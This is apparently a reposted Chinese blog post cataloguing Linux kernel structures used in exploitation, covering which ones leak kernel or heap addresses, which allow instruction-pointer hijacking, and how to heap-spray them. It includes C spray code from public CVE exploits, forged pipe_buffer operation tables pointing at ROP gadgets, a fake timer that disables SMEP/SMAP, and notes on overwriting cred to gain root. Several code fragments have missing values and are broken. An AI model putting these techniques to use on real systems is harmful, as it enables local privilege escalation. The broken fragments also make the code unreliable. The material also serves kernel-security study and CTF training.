kernel exploit 有用的结构体

kernel exploit 有用的结构体一 可用于 Leak AAR AAW RIP 劫持的结构体 说明目前缺少 kmalloc 8 kmalloc 16 kmalloc 64 kmalloc 512 结构体 1 shm file data size 0x20 kmalloc 32 内核基址 可泄露 其 ns vm ops 指针可以泄露 heap 可泄露 file

大家好,我是讯享网,很高兴认识大家。

一、可用于 Leak/AAR/AAW/RIP劫持的结构体

说明目前缺少kmalloc-8kmalloc-16kmalloc-64kmalloc-512结构体。

1. shm_file_data

size: 0x20 kmalloc-32

内核基址:可泄露。其nsvm_ops指针可以泄露

heap:可泄露。file指向堆区域

stack:不能泄露

劫持RIP:不能

产生:调用shmat()映射共享内存

释放shmctl() ??

备注:尝试过重写vm_ops,但是没发现调用fake_vtable函数指针的情况。

struct shm_file_data { 
    int id; struct ipc_namespace *ns; struct file *file; const struct vm_operations_struct *vm_ops; }; /* 测试输出(对一个含UAF漏洞的test.ko进行测试) 0x0000:0x0000000000000000 0x0008:0xffffffff82292ae0 0x0010:0xffff88800ea09700 0x0018:0xffffffff81e15540 [+] kbase = 0xffffffff [+] kheap = 0xffff88800ea09700 */ 

讯享网
2. seq_operations

size: 0x20 kmalloc-32

内核基址:4个指针都能泄露出内核基址

heap:不能泄露

stack:不能泄露

劫持RIP:可劫持。修改start,并调用read,将劫持RIP

产生open("/proc/self/stat", O_RDONLY)

释放close()

讯享网struct seq_operations { 
    void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); }; /* 0x0000: 0xffffffff811c5f70 0x0008: 0xffffffff811c5f90 0x0010: 0xffffffff811c5f80 0x0018: 0xffffffff8120c3f0 [+] kbase = 0xffffffff Press enter to continue... [ 6.] BUG: unable to handle kernel paging request at 00000000deadbeef */ 
3. msg_msg (+user-supplied data)

size: 0x31-0x1000 kmalloc-64以上

内核基址:不能泄露

heap:可泄露。next指向前一个msgsnd消息(SLUB上)

stack:不能泄露

劫持RIP:不能

产生msgget() + msgsnd()

释放:到msgrcv(),接收顺序同发送顺序,所以kfree的顺序也是传输的顺序

备注:非常方便,因为结构的大小可变,但限制是前48字节是头结构,无法重写。

/* one msg_msg structure for each message */ struct msg_msg { 
    struct list_head m_list; long m_type; size_t m_ts; /* message text size */ struct msg_msgseg *next; void *security; /* the actual message follows immediately */ }; /* 0x0000: 0xffff88800e1661c0 0x0008: 0xffff88800e1661c0 0x0010: 0x0000000000000001 0x0018: 0x0000000000000020 0x0020: 0x0000000000000000 0x0028: 0xffff88800e8c7f90 0x0030: 0x14141 0x0038: 0x34343 0x0040: 0x54545 0x0048: 0x0000000000000046 [+] kheap = 0xffff88800e1661c0 */ 
4. subprocess_info

size: 0x60 kmalloc-128

内核基址:可泄露。work.func可能指向call_usermodehelper_exec_work

heap:可泄露。但尚未验证是哪些SLUB

stack:不能泄露。

劫持RIP:可劫持。重写cleanup

产生socket(22, AF_INET, 0) —— 未知协议

释放:与产生的路径相同

备注:通过竞争来设置info->cleanup,触发执行if (info->cleanup) info->cleanup(info); 劫持RIP的概率很大,但是构造ROP回到用户态后,会死在fs或者syscall。如果禁用SMAP,理论上可以将fd重写到用户态,并结合userfaultfd。

讯享网struct subprocess_info { 
    struct work_struct work; struct completion *complete; const char *path; char **argv; char **envp; struct file *file; int wait; int retval; pid_t pid; int (*init)(struct subprocess_info *info, struct cred *new); void (*cleanup)(struct subprocess_info *info); void *data; } __randomize_layout; /* 0x0000: 0xffff88800f 0x0008: 0xffff88800f254e88 0x0010: 0xffff88800f254e88 0x0018: 0xffffffff 0x0020: 0x0000000000000000 0x0028: 0xffffffff 0x0030: 0xffff88800e0e3b40 0x0038: 0xffffffff 0x0040: 0x0000000000000000 0x0048: 0x00000 0x0050: 0x0000000000000407 0x0058: 0x0000000000000000 [+] kbase = 0xffffffff [+] kheap = 0xffff88800f Press enter to continue... [ 6.] BUG: unable to handle kernel paging request at 00000000deadbeef */ 
5.cred

size: 0xa8 kmalloc-192

内核基址:不能泄露。

heap:可泄露。通过session_keyring泄露,但是未验证属于哪种SLUB。

stack:不能泄露

劫持RIP:不能

产生:创建进程

释放:退出创建的进程。

备注:覆盖uid,gid = 0即可提权。

struct cred { 
    atomic_t usage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; /* number of processes subscribed */ void *put_addr; unsigned magic; #define CRED_MAGIC 0x #define CRED_MAGIC_DEAD 0x #endif kuid_t uid; /* real UID of the task */ kgid_t gid; /* real GID of the task */ kuid_t suid; /* saved UID of the task */ kgid_t sgid; /* saved GID of the task */ kuid_t euid; /* effective UID of the task */ kgid_t egid; /* effective GID of the task */ kuid_t fsuid; /* UID for VFS ops */ kgid_t fsgid; /* GID for VFS ops */ unsigned securebits; /* SUID-less security management */ kernel_cap_t cap_inheritable; /* caps our children can inherit */ kernel_cap_t cap_permitted; /* caps we're permitted */ kernel_cap_t cap_effective; /* caps we can actually use */ kernel_cap_t cap_bset; /* capability bounding set */ kernel_cap_t cap_ambient; /* Ambient capability set */ #ifdef CONFIG_KEYS unsigned char jit_keyring; /* default keyring to attach requested keys to */ struct key __rcu *session_keyring; /* keyring inherited over fork */ struct key *process_keyring; /* keyring private to this process */ struct key *thread_keyring; /* keyring private to this thread */ struct key *request_key_auth; /* assumed request_key authority */ #endif #ifdef CONFIG_SECURITY void *security; /* subjective LSM security */ #endif struct user_struct *user; /* real user ID subscription */ struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */ struct group_info *group_info; /* supplementary groups for euid/fsgid */ /* RCU deletion */ union { 
    int non_rcu; /* Can we skip RCU deletion? */ struct rcu_head rcu; /* RCU deletion hook */ }; } __randomize_layout; 
6. file

sizekmalloc-256

内核基址:可泄露。f_op指针

heap:未验证。

stack:未验证。

劫持RIP:重写f_op中的shmctl()来控制,但由于UAF后文件结构没有重叠,验证失败。

产生shmget()创建共享内存。

释放shmctl()

讯享网struct file { 
    union { 
    struct llist_node fu_llist; struct rcu_head fu_rcuhead; } f_u; struct path f_path; struct inode *f_inode; /* cached value */ const struct file_operations *f_op; /* * Protects f_ep_links, f_flags. * Must not be taken from IRQ context. */ spinlock_t f_lock; enum rw_hint f_write_hint; atomic_long_t f_count; unsigned int f_flags; fmode_t f_mode; struct mutex f_pos_lock; loff_t f_pos; struct fown_struct f_owner; const struct cred *f_cred; struct file_ra_state f_ra; u64 f_version; #ifdef CONFIG_SECURITY void *f_security; #endif /* needed for tty driver, and maybe others */ void *private_data; #ifdef CONFIG_EPOLL /* Used by fs/eventpoll.c to link all the hooks to this file */ struct list_head f_ep_links; struct list_head f_tfile_llink; #endif /* #ifdef CONFIG_EPOLL */ struct address_space *f_mapping; errseq_t f_wb_err; } __randomize_layout __attribute__((aligned(4))); /* lest something weird decides that 2 is OK */ 
7. timerfd_ctx

sizekmalloc-256

内核基址:可泄露。通过tmr.function所指向的timerfd_tmrproc来泄露

heap:可泄露。通过tmr.base

stack:不能泄露。

劫持RIP:不能

产生timerfd_create()

释放close()


讯享网

struct timerfd_ctx { 
    union { 
    struct hrtimer tmr; struct alarm alarm; } t; ktime_t tintv; ktime_t moffs; wait_queue_head_t wqh; u64 ticks; int clockid; short unsigned expired; short unsigned settime_flags; /* to show in fdinfo */ struct rcu_head rcu; struct list_head clist; spinlock_t cancel_lock; bool might_cancel; }; struct hrtimer { 
    struct timerqueue_node node; ktime_t _softexpires; enum hrtimer_restart (*function)(struct hrtimer *); struct hrtimer_clock_base *base; u8 state; u8 is_rel; u8 is_soft; }; /* 0x0000:0xffff88800e 0x0008:0x0000000000000000 0x0010:0x0000000000000000 0x0018:0x000000183ca77938 0x0020:0x000000183ca77938 0x0028:0xffffffff811e7ef0 0x0030:0xffff88800f41ba80 ... [+] kbase = 0xffffffff [+] kbase = 0xffff88800f41ba80 */ 
8. tty_struct

size:0x2e0 kmalloc-1024

内核基址:可泄露。ops指向的ptm_unix98_ops

heap:可泄露。通过devdriver,但是未验证属于哪种SLUB。

stack:似乎不能泄露。

劫持RIP:可劫持。重写ops函数表。

产生open("/dev/ptmx", O_RDWR | O_NOCTTY)

释放close()

讯享网struct tty_struct { 
    int magic; struct kref kref; struct device *dev; struct tty_driver *driver; const struct tty_operations *ops; int index; /* Protects ldisc changes: Lock tty not pty */ struct ld_semaphore ldisc_sem; struct tty_ldisc *ldisc; struct mutex atomic_write_lock; struct mutex legacy_mutex; struct mutex throttle_mutex; struct rw_semaphore termios_rwsem; struct mutex winsize_mutex; spinlock_t ctrl_lock; spinlock_t flow_lock; /* Termios values are protected by the termios rwsem */ struct ktermios termios, termios_locked; struct termiox *termiox; /* May be NULL for unsupported */ char name[64]; struct pid *pgrp; /* Protected by ctrl lock */ struct pid *session; unsigned long flags; int count; struct winsize winsize; /* winsize_mutex */ unsigned long stopped:1, /* flow_lock */ flow_stopped:1, unused:BITS_PER_LONG - 2; int hw_stopped; unsigned long ctrl_status:8, /* ctrl_lock */ packet:1, unused_ctrl:BITS_PER_LONG - 9; unsigned int receive_room; /* Bytes free for queue */ int flow_change; struct tty_struct *link; struct fasync_struct *fasync; wait_queue_head_t write_wait; wait_queue_head_t read_wait; struct work_struct hangup_work; void *disc_data; void *driver_data; spinlock_t files_lock; /* protects tty_files list */ struct list_head tty_files; #define N_TTY_BUF_SIZE 4096 int closing; unsigned char *write_buf; int write_cnt; /* If the tty has a pending do_SAK, queue it here - akpm */ struct work_struct SAK_work; struct tty_port *port; } __randomize_layout; /* 0x0000:0x0000000 0x0008:0x0000000000000000 0x0010:0xffff88800f1ed840 0x0018:0xffffffff81e65900 0x0020: 0x0000000000000000 ... [+] kbase = 0xffffffff [+] kheap = 0xffff88800f1ed840 按回车继续... [5.] BUG:无法在 00000000deadbeef 处处理内核分页请求 */ 
9. pipe_buffer

参考:CVE-2021-22555

sizekmalloc-1024GFP_KERNEL_ACCOUNT 标志。

内核基址:可泄露,ops指针指向anon_pipe_buf_ops函数表。

劫持RIPpipe_buffer->ops->release

分配链:pipe() -> do_pipe2() -> __do_pipe_flags() -> create_pipe_files() -> get_pipe_inode() -> alloc_pipe_info() —— 分配大小为0x370(默认16个page,16*0x28=0x370)。

触发链:pipe_release() -> put_pipe_info() -> free_pipe_info -> pipe_buf_release() 调用pipe_buffer->ops->release 函数

struct pipe_buffer { 
    struct page *page; // 读写pipe时, 实际上是读写page地址 unsigned int offset, len; const struct pipe_buf_operations *ops; // <-------- 函数表 unsigned int flags; unsigned long private; }; struct pipe_buf_operations { 
    int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *); // 确保 pipe buffer 中的数据有效,有效则返回0,无效则返回负值错误码。 void (*release)(struct pipe_inode_info *, struct pipe_buffer *);// <-------- 释放 pipe buffer bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *); bool (*get)(struct pipe_inode_info *, struct pipe_buffer *); }; 

构造

讯享网#define NUM_PIPEFDS 256 int pipefd[NUM_PIPEFDS][2]; // spray for (int i = 0; i < NUM_PIPEFDS; i++) { 
    if (pipe(pipefd[i]) < 0) { 
    perror("[-] pipe"); goto err_rmid; } // Write something to populate pipe_buffer. if (write(pipefd[i][1], "pwn", 3) < 0) { 
    perror("[-] write"); goto err_rmid; } } // release, trigger for (int i = 0; i < NUM_PIPEFDS; i++) { 
    if (close(pipefd[i][0]) < 0) { 
    perror("[-] close"); goto err_rmid; } if (close(pipefd[i][1]) < 0) { 
    perror("[-] close"); goto err_rmid; } } 
10. packet_socket

参考:CVE-2016-8655 CVE-2017-6074

sizekmalloc-2048 5.11.14版本中大小为0x5c0。

劫持RIP

  • packet_sock -> rx_ring -> prb_bdqc -> retire_blk_timer -> function。在timeout超时后调用,可传参,可用于执行native_write_cr4(0x406e0)来关闭SMEP/SMAP。
  • packet_socket -> xmit。在接收数据时调用。

分配 packet_socksocket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); —— sock(AF_PACKET) -> packet_create -> sk_alloc

分配timersetsockopt(fd, SOL_PACKET, PACKET_RX_RING, (void*)&tp, sizeof(tp)); —— packet_set_ring()->init_prb_bdqc()->prb_setup_retire_blk_timer()->prb_init_blk_timer()

struct packet_sock { 
    /* struct sock has to be the first member of packet_sock */ struct sock sk; struct packet_fanout *fanout; union tpacket_stats_u stats; struct packet_ring_buffer rx_ring; // <--------------- rx_ring struct packet_ring_buffer tx_ring; ... ... int (*xmit)(struct sk_buff *skb); struct packet_type prot_hook ____cacheline_aligned_in_smp; }; struct packet_ring_buffer { 
    struct pgv *pg_vec; ... ... unsigned int pg_vec_order; unsigned int pg_vec_pages; unsigned int pg_vec_len; unsigned int __percpu *pending_refcnt; struct tpacket_kbdq_core prb_bdqc; // <---------------- prb_bdqc }; /* kbdq - kernel block descriptor queue */ struct tpacket_kbdq_core { 
    struct pgv *pkbdq; ... ... struct sk_buff *skb; // <---------------- skb ... ... unsigned short retire_blk_tov; unsigned short version; unsigned long tov_in_jiffies; struct timer_list retire_blk_timer; // <---------------- retire_blk_timer }; struct timer_list { 
    struct hlist_node entry; unsigned long expires; void (*function)(unsigned long); // 待伪造的回调函数 unsigned long data; // 参数 u32 flags; #ifdef CONFIG_TIMER_STATS int start_pid; void *start_site; char start_comm[16]; #endif #ifdef CONFIG_LOCKDEP struct lockdep_map lockdep_map; #endif }; 

构造:来自 CVE-2017-6074

讯享网#define TIMER_OFFSET (744 + 48 + 104) void init_timer_buffer(char* buffer, void *func, unsigned long arg) { 
    memset(&buffer[0], 0, 2048); struct timer_list* timer = (struct timer_list *)&buffer[TIMER_OFFSET]; timer->next = 0; timer->prev = 0; timer->expires = ; timer->function = func; timer->data = arg; timer->flags = 1; timer->slack = -1; } int timers[6]; int optval = TPACKET_V3; struct tpacket_req3 tp; struct udp_fifo_handle uh3; socketpair(AF_LOCAL, SOCK_DGRAM, 0, uh3->fds); // 创建 timer for (i = 0; i < 6; i++) { 
    timer[i] = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); setsockopt(timer[i], SOL_PACKET, PACKET_VERSION, &optval, sizeof(optval)); memset(&tp, 0, sizeof(tp)); tp.tp_block_size = CONF_RING_FRAMES * getpagesize(); tp.tp_block_nr = 1; tp.tp_frame_size = getpagesize(); tp.tp_frame_nr = CONF_RING_FRAMES; tp.tp_retire_blk_tov = timeout; // timeout = 500 (0.5s) setsockopt(timer[i], SOL_PACKET, PACKET_RX_RING, (void *)&tp, sizeof(tp)); } // 堆喷伪造timer char buffer[2048]; init_timer_buffer(&buffer[0], func, arg); send(uh3->fds[0], buffer, 1536, 0); // 1536=0x600 sleep(1); // 等待触发  
11. sk_buff 线性数据区

参考: CVE-2017-6074

size:2048

劫持RIP:sk_buff -> skb_shared_info -> ubuf_info -> callback 注意skb_shared_info结构的偏移为sk_buff->head+sk_buff->end

struct sk_buff { 
    union { 
    struct { 
    /* These two members must be first. */ struct sk_buff *next; struct sk_buff *prev; ... ... sk_buff_data_t tail; sk_buff_data_t end; unsigned char *head, *data; // <------------ (head+end) 指向 skb_shared_info 结构 unsigned int truesize; atomic_t users; }; struct skb_shared_info { 
    unsigned char nr_frags; __u8 tx_flags; unsigned short gso_size; /* Warning: this field is not always filled in (UFO)! */ unsigned short gso_segs; unsigned short gso_type; struct sk_buff *frag_list; struct skb_shared_hwtstamps hwtstamps; u32 tskey; __be32 ip6_frag_id; atomic_t dataref; void * destructor_arg; // <------------ 指向 ubuf_info 结构 skb_frag_t frags[MAX_SKB_FRAGS]; }; struct ubuf_info { 
    void (*callback)(struct ubuf_info *, bool zerocopy_success); // <------------ 待伪造的回调函数 void *ctx; unsigned long desc; }; 

分配sendmsg -> packet_sendmsg() -> packet_snd() -> packet_alloc_skb() -> sock_alloc_send_pskb() -> alloc_skb_with_frags() -> alloc_skb() -> __alloc_skb() 还有很多协议及调用链都会用到skb。

释放链:dccp_close() -> inet_csk_destroy_sock() -> dccp_v6_destroy_sock() -> inet6_destroy_sock() -> kfree_skb() -> __kfree_skb() -> skb_release_all() -> skb_release_data() 执行回调函数skb-> ... ->destructor_arg->callback

构造:只有CVE-2017-6074漏洞中,由于dccp拥塞控制协议对sk_buff结构进行了double-free,可堆喷劫持。


二、可用于任意数据写入/堆喷的结构

1. msg_msg —— msgsnd()

参考: msgsnd linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用

构造msgsnd()发送,msgrcv()接收。

讯享网// 只能控制0x30字节以后的内容 struct { 
    long mtype; char mtext[BUFF_SIZE]; }msg; memset(msg.mtext, 0x42, BUFF_SIZE-1); // 布置用户空间的内容 msg.mtext[BUFF_SIZE] = 0; int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT); msg.mtype = 1; //必须 > 0 // 假设此时已经产生释放对象,但指针未清空 for(int i = 0; i < 120; i++) msgsnd(msqid, &msg, sizeof(msg.mtext), 0); // 触发UAF即可 
2. sendmsg()

参考:linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用

size:可选(>=2)

产生sendmsg,数据放入msg.msg_control指针。

释放:与产生路径相同。

备注:与setxattr相同,可与userfaultfd结合使用。

// 限制: BUFF_SIZE > 44 char buff[BUFF_SIZE]; struct msghdr msg = { 
   0}; struct sockaddr_in addr = { 
   0}; int sockfd = socket(AF_INET, SOCK_DGRAM, 0); addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); addr.sin_family = AF_INET; addr.sin_port = htons(6666); // 布置用户空间buff的内容 msg.msg_control = buff; msg.msg_controllen = BUFF_SIZE; msg.msg_name = (caddr_t)&addr; msg.msg_namelen = sizeof(addr); // 假设此时已经产生释放对象,但指针未清空 for(int i = 0; i < ; i++) { 
    sendmsg(sockfd, &msg, 0); } // 触发UAF即可 // 方法2 int sock[2]; socketpair(AF_LOCAL, SOCK_DGRAM, 0, sock); struct mmsghdr msg[1]; msg[0].msg_hdr.msg_iovlen = 0; // Buffer to kmalloc. msg[0].msg_hdr.msg_control = &buffer[0]; msg[0].msg_hdr.msg_controllen = 2048; // Make sendmmsg exit easy with EINVAL. msg[0].msg_hdr.msg_name = "root"; msg[0].msg_hdr.msg_namelen = 1; syscall(__NR_sendmmsg, sock[0], msg, 1, 0); 
3. setxattr

参考:setxattr+userfault堆喷 CVE-2019-15666 xfrm UAF 8字节写NULL提权分析

size:可选(<65536)

产生setxattr()

讯享网static long setxattr(struct dentry *d, const char __user *name, const void __user *value, size_t size, int flags) { 
    int error; void *kvalue = NULL; char kname[XATTR_NAME_MAX + 1]; ... ... if (size) { 
    if (size > XATTR_SIZE_MAX) return -E2BIG; kvalue = kvmalloc(size, GFP_KERNEL); // [1] 分配空间 if (!kvalue) return -ENOMEM; if (copy_from_user(kvalue, value, size)) { 
    // [2] 拷贝用户数据 error = -EFAULT; goto out; } if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) || (strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0)) posix_acl_fix_xattr_from_user(kvalue, size); } error = vfs_setxattr(d, kname, kvalue, size, flags); out: kvfree(kvalue); // [3] 释放空间 return error; } 

释放:与产生路径相同。

备注:与userfaultfd结合使用。弥补msgsnd前48字节无法覆盖的缺陷。

 void *addr; addr = mmap(NULL, 0x1000, 3, 0x22, -1, 0); /* TODO */ setxattr("/etc/passwd", "user.test", addr, 0x400, 1); /* TODO */ 
4. pipe() —— pipe_buffer

参考:【内核漏洞利用】WCTF 2018 klist—竞争UAF-pipe堆喷 linux kernel pwn学习之条件竞争(一)

write链:write -> ksys_write -> vfs_write -> new_sync_write() -> call_write_iter() -> pipe_write() 将数据写入了pipe_buffer->page中(页=4k),所以不能任意布置数据,参考中用到pipe堆喷是因为pipe_buffer->offsetpipe_buffer->len恰好将改题中结构的第2个8字节—size覆盖很大,导致越界读写。

read链:read -> ksys_read() -> vfs_read() -> new_sync_read() -> call_read_iter() -> pipe_read()

构造

讯享网 #define SIZE 0x280 char* buf2 = malloc(SIZE); memset(buf2, 'E', SIZE); int fds[2]; pipe(&fds[0]); // 堆喷,把结构中的size域覆盖很大,这样就能任意读写 for(int i = 0; i < 9; i++) write(fds[1], buf2, SIZE); 
5. add_key()

参考:CVE-2017-2636

size:<= kmalloc-8192 最大不超过 /proc/sys/kernel/keys/maxbytes 中规定的值,默认为20000。

产生:add_key

SYSCALL_DEFINE5(add_key, const char __user *, _type, const char __user *, _description, const void __user *, _payload, size_t, plen, key_serial_t, ringid) { 
    key_ref_t keyring_ref, key_ref; char type[32], *description; void *payload; long ret; ... ... // 读取type/description payload = NULL; if (plen) { 
    ret = -ENOMEM; payload = kvmalloc(plen, GFP_KERNEL); // [1] 分配空间 if (!payload) goto error2; ret = -EFAULT; if (copy_from_user(payload, _payload, plen) != 0) // [2] 拷贝用户数据 goto error3; } ... ... error: return ret; } 

构造

讯享网// 方法1 void spray_addkey(int count) { 
    int i; char payload[BUF_SIZE]; char desc[256]; memset(payload, 0x42, BUF_SIZE); for(i=0; i<count; i++) { 
    sprintf(desc, "payload%d", i); add_key_arr[i] = _add_key("user", desc, payload, 0x300, KEY_SPEC_PROCESS_KEYRING); } } // 方法2 #include <linux/keyctl.h> #define PAYLOAD_SZ 8100 k[0] = syscall(__NR_add_key, "user", "payload1", payload, PAYLOAD_SZ, KEY_SPEC_PROCESS_KEYRING); k[1] = syscall(__NR_add_key, "user", "payload2", payload, PAYLOAD_SZ, KEY_SPEC_PROCESS_KEYRING); 
6. sk_buff

参考:喷射参考CVE-2021-22555,介绍参考CVE-2017-6074。

size:0x280 不包含头信息,可喷射前面的字节,如喷射伪造pipe_buffer->ops

创建链:write -> ksys_write() -> vfs_write() -> new_sync_write() -> call_write_iter() -> sock_write_iter() -> sock_sendmsg() -> sock_sendmsg_nosec() -> unix_stream_sendmsg() -> sock_alloc_send_pskb() -> alloc_skb_with_frags() -> alloc_skb() -> __alloc_skb()

read链:read -> ksys_read() -> vfs_read() -> new_sync_read() -> call_read_iter() -> sock_read_iter() -> sock_recvmsg() -> sock_recvmsg_nosec() -> unix_stream_recvmsg() -> unix_stream_read_generic() -> unix_stream_read_actor() -> skb_copy_datagram_msg() -> skb_copy_datagram_iter() -> __skb_datagram_iter()

write链: write -> ksys_write() -> vfs_write() -> new_sync_write() -> call_write_iter() -> sock_write_iter() -> sock_sendmsg() -> sock_sendmsg_nosec() -> unix_stream_sendmsg() -> skb_copy_datagram_from_iter()

static ssize_t sock_write_iter(struct kiocb *iocb, struct iov_iter *from) { 
    struct file *file = iocb->ki_filp; struct socket *sock = file->private_data; struct msghdr msg = { 
   .msg_iter = *from, // 组装msg结构, 最开始是调用write进行堆喷的,所以没有传入msghdr结构(同sendmsg堆喷时传入的结构一样) .msg_iocb = iocb}; ssize_t res; if (iocb->ki_pos != 0) return -ESPIPE; if (file->f_flags & O_NONBLOCK || (iocb->ki_flags & IOCB_NOWAIT)) msg.msg_flags = MSG_DONTWAIT; if (sock->type == SOCK_SEQPACKET) msg.msg_flags |= MSG_EOR; res = sock_sendmsg(sock, &msg); // *from = msg.msg_iter; return res; } int skb_copy_datagram_from_iter(struct sk_buff *skb, int offset, struct iov_iter *from, int len) { 
    int start = skb_headlen(skb); // skb->len - skb->data_len; int i, copy = start - offset; // copy 是线性数据区的剩余空间大小 struct sk_buff *frag_iter; // [1] 拷贝到线性数据区 skb->data if (copy > 0) { 
    if (copy > len) copy = len; if (copy_from_iter(skb->data + offset, copy, from) != copy) goto fault; if ((len -= copy) == 0) return 0; offset += copy; } // [2] 拷贝到非线性数据区 skb->frags for (i = 0; i < skb_shinfo(skb)->nr_frags; i++) { 
    int end; const skb_frag_t *frag = &skb_shinfo(skb)->frags[i]; WARN_ON(start > offset + len); end = start + skb_frag_size(frag); if ((copy = end - offset) > 0) { 
    size_t copied; if (copy > len) copy = len; copied = copy_page_from_iter(skb_frag_page(frag), skb_frag_off(frag) + offset - start, copy, from); if (copied != copy) goto fault; if (!(len -= copy)) return 0; offset += copy; } start = end; } // [3] 拷贝到非线性数据区 skb->fraglist skb_walk_frags(skb, frag_iter) { 
    // for (iter = skb_shinfo(skb)->frag_list; iter; iter = iter->next) int end; WARN_ON(start > offset + len); end = start + frag_iter->len; if ((copy = end - offset) > 0) { 
    if (copy > len) copy = len; if (skb_copy_datagram_from_iter(frag_iter, offset - start, from, copy)) goto fault; if ((len -= copy) == 0) return 0; offset += copy; } start = end; } if (!len) return 0; ... ... } EXPORT_SYMBOL(skb_copy_datagram_from_iter); 

构造

讯享网#define SKB_SHARED_INFO_SIZE 0x140 #define NUM_SOCKETS 4 #define NUM_SKBUFFS 128 int ss[NUM_SOCKETS][2]; char buf[0x400 - SKB_SHARED_INFO_SIZE]; for (int i = 0; i < NUM_SOCKETS; i++) socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]); struct pipe_buffer *p_buf = (struct pipe_buffer *)&buf; // 伪造 pipe_buffer->ops p_buf->ops = kheap_addr + 0x290; struct pipe_buf_operations *ops = (struct pipe_buf_operations *)&buf[0x290]; ops->release = kbase_addr + PUSH_RSI_JMP_QWORD_PTR_RSI_39; for (int i = 0; i < NUM_SOCKETS; i++) { 
    for (int j = 0; j < NUM_SKBUFFS; j++) { 
    if (write(ss[i][0], buf, 0x400-0x140) < 0) { 
    perror("[-] write"); return -1; } } } // 读取skb内容 for (int i = 0; i < NUM_SOCKETS; i++) { 
    for (int j = 0; j < NUM_SKBUFFS; j++) { 
    if (read(ss[i][1], buf, sizeof(buf)) < 0) { 
    perror("[-] read"); goto err_rmid; } if (*(uint64_t *)&buf[0x10] != MTYPE_FAKE) pipe_buffer_ops = *(uint64_t *)&buf[0x10]; // 泄露 pipe_buffer->ops —— 内核基址 } } // 释放skb for (int i = 0; i < NUM_SOCKETS; i++) { 
    for (int j = 0; j < NUM_SKBUFFS; j++) { 
    if (read(ss[i][1], buf, 0x400-0x140) < 0) { 
    perror("[-] read"); return -1; } } } 

参考:

Kernel Exploit 用到的结构体

https://ptr-yudai.hatenablog.com/entry/2020/03/16/ 实验环境下载

小讯
上一篇 2025-03-09 10:34
下一篇 2025-03-13 23:56

相关推荐

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/130216.html